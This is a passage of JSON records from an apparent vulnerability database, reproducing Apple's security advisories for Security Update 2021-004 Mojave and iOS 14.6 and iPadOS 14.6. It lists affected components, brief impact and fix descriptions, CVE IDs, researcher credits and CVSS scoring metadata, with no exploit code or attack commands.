checking.\n\nCVE-2021-30728: Liu Long of Ant Security Light-Year Lab\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Mojave\n\nImpact: An out-of-bounds write issue was addressed with improved bounds checking\n\nDescription: A malicious application may be able to execute arbitrary code with kernel privileges.\n\nCVE-2021-30726: Yinyi Wu (@3ndy1) of Qihoo 360 Vulcan Team\n\nEntry added July 21, 2021\n\n**Kernel**\n\nAvailable for: macOS Mojave\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30704: an anonymous researcher\n\n**Kernel**\n\nAvailable for: macOS Mojave\n\nImpact: A memory corruption issue was addressed with improved validation\n\nDescription: A local attacker may be able to elevate their privileges.\n\nCVE-2021-30739: Zuozhi Fan (@pattern_F_) of Ant Group Tianqiong Security Lab\n\nEntry added July 21, 2021\n\n**Login Window**\n\nAvailable for: macOS Mojave\n\nImpact: A person with physical access to a Mac may be able to bypass Login Window\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30702: Jewel Lambert of Original Spin, LLC.\n\n**Mail**\n\nAvailable for: macOS Mojave\n\nImpact: A logic issue was addressed with improved state management\n\nDescription: An attacker in a privileged network position may be able to misrepresent application state.\n\nCVE-2021-30696: Fabian Ising and Damian Poddebniak of M\u00fcnster University of Applied Sciences\n\nEntry added July 21, 2021\n\n**Model I/O**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30819\n\nEntry added May 25, 2022\n\n**Model I/O**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An information disclosure issue was addressed with improved state management.\n\nCVE-2021-30723: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30691: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30694: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30692: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30746: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2021-30693: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30695: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30708: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30709: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: macOS Mojave\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30725: Mickey Jin (@patch1t) of Trend Micro\n\n**NSOpenPanel**\n\nAvailable for: macOS Mojave\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: This issue was addressed by removing the vulnerable code.\n\nCVE-2021-30679: Gabe Kirkpatrick (@gabe_k)\n\n**OpenLDAP**\n\nAvailable for: macOS Mojave\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2020-36226\n\nCVE-2020-36229\n\nCVE-2020-36225\n\nCVE-2020-36224\n\nCVE-2020-36223\n\nCVE-2020-36227\n\nCVE-2020-36228\n\nCVE-2020-36221\n\nCVE-2020-36222\n\nCVE-2020-36230\n\n**PackageKit**\n\nAvailable for: macOS Mojave\n\nImpact: An issue with path validation logic for hardlinks was addressed with improved path sanitization\n\nDescription: A malicious application may be able to overwrite arbitrary files.\n\nCVE-2021-30738: Qingyang Chen of Topsec Alpha Team, Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added July 21, 2021\n\n**Security**\n\nAvailable for: macOS Mojave\n\nImpact: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code\n\nDescription: Processing a maliciously crafted certificate may lead to arbitrary code execution.\n\nCVE-2021-30737: xerub\n\nEntry added July 21, 2021\n\n**smbx**\n\nAvailable for: macOS Mojave\n\nImpact: An attacker in a privileged network position may be able to perform denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30716: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Mojave\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30717: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Mojave\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30712: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Mojave\n\nImpact: An attacker in a privileged network position may be able to leak sensitive user information\n\nDescription: A path handling issue was addressed with improved validation.\n\nCVE-2021-30721: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Mojave\n\nImpact: An attacker in a privileged network position may be able to leak sensitive user information\n\nDescription: An information disclosure issue was addressed with improved state management.\n\nCVE-2021-30722: Aleksandar Nikolic of Cisco Talos\n\n\n\n## Additional recognition\n\n**Bluetooth**\n\nWe would like to acknowledge say2 of ENKI for their assistance.\n\nEntry added May 25, 2022\n\n**CFString**\n\nWe would like to acknowledge an anonymous researcher for their assistance.\n\n**CoreCapture**\n\nWe would like to acknowledge Zuozhi Fan (@pattern_F_) of Ant-financial TianQiong Security Lab for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: May 25, 2022\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-24T00:00:00", "type": "apple", "title": "About the security content of Security Update 2021-004 Mojave", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36221", "CVE-2020-36222", "CVE-2020-36223", "CVE-2020-36224", "CVE-2020-36225", "CVE-2020-36226", "CVE-2020-36227", "CVE-2020-36228", "CVE-2020-36229", "CVE-2020-36230", "CVE-2021-1883", "CVE-2021-1884", "CVE-2021-30669", "CVE-2021-30676", "CVE-2021-30678", "CVE-2021-30679", "CVE-2021-30681", "CVE-2021-30683", "CVE-2021-30687", "CVE-2021-30690", "CVE-2021-30691", "CVE-2021-30692", "CVE-2021-30693", "CVE-2021-30694", "CVE-2021-30695", "CVE-2021-30696", "CVE-2021-30697", "CVE-2021-30702", "CVE-2021-30704", "CVE-2021-30705", "CVE-2021-30708", "CVE-2021-30709", "CVE-2021-30710", "CVE-2021-30712", "CVE-2021-30716", "CVE-2021-30717", "CVE-2021-30721", "CVE-2021-30722", "CVE-2021-30723", "CVE-2021-30724", "CVE-2021-30725", "CVE-2021-30726", "CVE-2021-30728", "CVE-2021-30735", "CVE-2021-30737", "CVE-2021-30738", "CVE-2021-30739", "CVE-2021-30746", "CVE-2021-30819"], "modified": "2021-05-24T00:00:00", "id": "APPLE:AB574AD53A4E96A37DA94B141F2D9E50", "href": "https://support.apple.com/kb/HT212531", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T22:02:30", "description": "# About the security content of iOS 14.6 and iPadOS 14.6\n\nThis document describes the security content of iOS 14.6 and iPadOS 14.6.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 14.6 and iPadOS 14.6\n\nReleased May 24, 2021\n\n**Audio**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30707: hjy79425575 working with Trend Micro Zero Day Initiative\n\n**Audio**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Parsing a maliciously crafted audio file may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30685: Mickey Jin (@patch1t) of Trend Micro\n\n**AVEVideoEncoder**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An application may be able to cause unexpected system termination or write kernel memory\n\nDescription: A race condition was addressed with improved state handling.\n\nCVE-2021-30714: @08Tc3wBB of ZecOps, and George Nosenko\n\n**CommCenter**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A device may accept invalid activation results\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30729: CHRISTIAN MINA\n\n**Core Services**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2021-30681: Zhongcheng Li (CK01)\n\n**CoreAudio**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted audio file may disclose restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30686: Mickey Jin of Trend Micro\n\n**CoreText**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An out-of-bounds read was addressed with improved input validation\n\nDescription: Processing a maliciously crafted font may result in the disclosure of process memory.\n\nCVE-2021-30733: Sunglin from the Knownsec 404\n\nCVE-2021-30753: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added July 21, 2021\n\n**Crash Reporter**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30727: Cees Elzinga\n\n**CVMS**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30724: Mickey Jin (@patch1t) of Trend Micro\n\n**FontParser**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-30771: Mickey Jin (@patch1t) of Trend Micro, CFF of Topsec Alpha Team\n\nEntry added January 19, 2022\n\n**Heimdal**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local user may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30697: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may cause a denial of service or potentially disclose memory contents\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30710: Gabe Kirkpatrick (@gabe_k)\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30687: Hou JingYi (@hjy79425575) of Qihoo 360\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30700: Ye Zhang(@co0py_Cat) of Baidu Security\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30701: Mickey Jin (@patch1t) of Trend Micro and Ye Zhang of Baidu Security\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted ASTC file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30705: Ye Zhang of Baidu Security\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: This issue was addressed with improved checks\n\nDescription: Processing a maliciously crafted image may lead to disclosure of user information.\n\nCVE-2021-30706: Anonymous working with Trend Micro Zero Day Initiative, Jzhu working with Trend Micro Zero Day Initiative\n\nEntry added July 21, 2021\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-30740: Linus Henze (pinauten.de)\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may disclose restricted memory\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30674: Siddharth Aeri (@b1n4r1b01)\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30704: an anonymous researcher\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30715: The UK's National Cyber Security Centre (NCSC)\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A buffer overflow was addressed with improved size validation.\n\nCVE-2021-30736: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A double free issue was addressed with improved memory management\n\nDescription: An application may be able to execute arbitrary code with kernel privileges.\n\nCVE-2021-30703: an anonymous researcher\n\nEntry added July 21, 2021\n\n**LaunchServices**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: This issue was addressed with improved environment sanitization.\n\nCVE-2021-30677: Ron Waisberg (@epsilan)\n\n**Mail**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted mail message may lead to unexpected memory modification or application termination\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-30741: SYMaster of ZecOps Mobile EDR Team\n\n**MediaRemote**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A privacy issue in Now Playing was addressed with improved permissions\n\nDescription: A local attacker may be able to view Now Playing information from the lock screen.\n\nCVE-2021-30756: Ricky D'Amelio, Jatayu Holznagel (@jholznagel)\n\nEntry added July 21, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An information disclosure issue was addressed with improved state management.\n\nCVE-2021-30723: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30691: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30692: Mickey Jin (@patch1t) of Trend Micro\n\nCVE-2021-30694: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30725: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30746: Mickey Jin (@patch1t) of Trend Micro\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2021-30693: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30695: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-30708: Mickey Jin (@patch1t) & Junzhi Lu (@pwn0rz) of Trend Micro\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30709: Mickey Jin (@patch1t) of Trend Micro\n\n**Networking**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Visiting a maliciously crafted webpage may lead to a system denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1821: Georgi Valkov (httpstorm.com)\n\nEntry added January 19, 2022\n\n**Notes**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A user may be able to view restricted content from the lockscreen\n\nDescription: A window management issue was addressed with improved state management.\n\nCVE-2021-30699: videosdebarraquito\n\n**Safari**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A user may be unable to fully delete browsing history\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2021-30999: an anonymous researcher\n\nEntry added May 25, 2022\n\n**Security**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted certificate may lead to arbitrary code execution\n\nDescription: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code.\n\nCVE-2021-30737: xerub\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A cross-origin issue with iframe elements was addressed with improved tracking of security origins.\n\nCVE-2021-30744: Dan Hite of jsontop\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-21779: Marcin Towalski of Cisco Talos\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30682: Prakash (@1lastBr3ath)\n\nEntry updated on July 21, 2021\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30689: an anonymous researcher\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2021-30749: an anonymous researcher and mipu94 of SEFCOM lab, ASU. working with Trend Micro Zero Day Initiative\n\nCVE-2021-30734: Jack Dates of RET2 Systems, Inc. (@ret2systems) working with Trend Micro Zero Day Initiative\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30720: David Sch\u00fctz (@xdavidhu)\n\n**WebRTC**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A null pointer dereference was addressed with improved input validation.\n\nCVE-2021-23841: Tavis Ormandy of Google\n\nCVE-2021-30698: Tavis Ormandy of Google\n\n**Wi-Fi**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An attacker in WiFi range may be able to force a client to use a less secure authentication mechanism\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-30667: Raul Siles of DinoSec (@dinosec)\n\n\n\n## Additional recognition\n\n**AVEVideoEncoder**\n\nWe would like to acknowledge @08Tc3wBB for their assistance.\n\n**CommCenter**\n\nWe would like to acknowledge CHRISTIAN MINA and Stefan Sterz (@0x7374) of Secure Mobile Networking Lab at TU Darmstadt and Industrial Software at TU Wien for their assistance.\n\n**CoreCapture**\n\nWe would like to acknowledge Zuozhi Fan (@pattern_F_) of Ant-financial TianQiong Security Lab for their assistance.\n\n**ImageIO**\n\nWe would like to acknowledge Jzhu working with Trend Micro Zero Day Initiative and an anonymous researcher for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Saar Amar (@AmarSaar) for their assistance.\n\n**Mail Drafts**\n\nWe would like to acknowledge Lauritz Holtmann (@_lauritz_) for their assistance.\n\n**NetworkExtension**\n\nWe would like to acknowledge Matthias Ortmann of Secure Mobile Networking Lab for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Chris Salls (@salls) of Makai Security for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: May 25, 2022\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-05-24T00:00:00", "type": "apple", "title": "About the security content of iOS 14.6 and iPadOS 14.6", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1821", "CVE-2021-21779", "CVE-2021-23841", "CVE-2021-30667", "CVE-2021-30674", "CVE-2021-30677", "CVE-2021-30681", "CVE-2021-30682", "CVE-2021-30685", "CVE-2021-30686", "CVE-2021-30687", "CVE-2021-30689", "CVE-2021-30691", "CVE-2021-30692", "CVE-2021-30693", "CVE-2021-30694", "CVE-2021-30695", "CVE-2021-30697", "CVE-2021-30698", "CVE-2021-30699", "CVE-2021-30700", "CVE-2021-30701", "CVE-2021-30703", "CVE-2021-30704", "CVE-2021-30705", "CVE-2021-30706", "CVE-2021-30707", "CVE-2021-30708", "CVE-2021-30709", "CVE-2021-30710", "CVE-2021-30714", "CVE-2021-30715", "CVE-2021-30720", "CVE-2021-30723", "CVE-2021-30724", "CVE-2021-30725", "CVE-2021-30727", "CVE-2021-30729", "CVE-2021-30733", "CVE-2021-30734", "CVE-2021-30736", "CVE-2021-30737", "CVE-2021-30740", "CVE-2021-30741", "CVE-2021-30744", "CVE-2021-30746", "CVE-2021-30749", "CVE-2021-30753", "CVE-2021-30756", "CVE-2021-30771", "CVE-2021-30999"], "modified": "2021-05-24T00:00:00", "id": "APPLE:8592A5882F33472850FF959BB2667129", "href": "https://support.apple.com/kb/HT212528", "cvss": {"score": 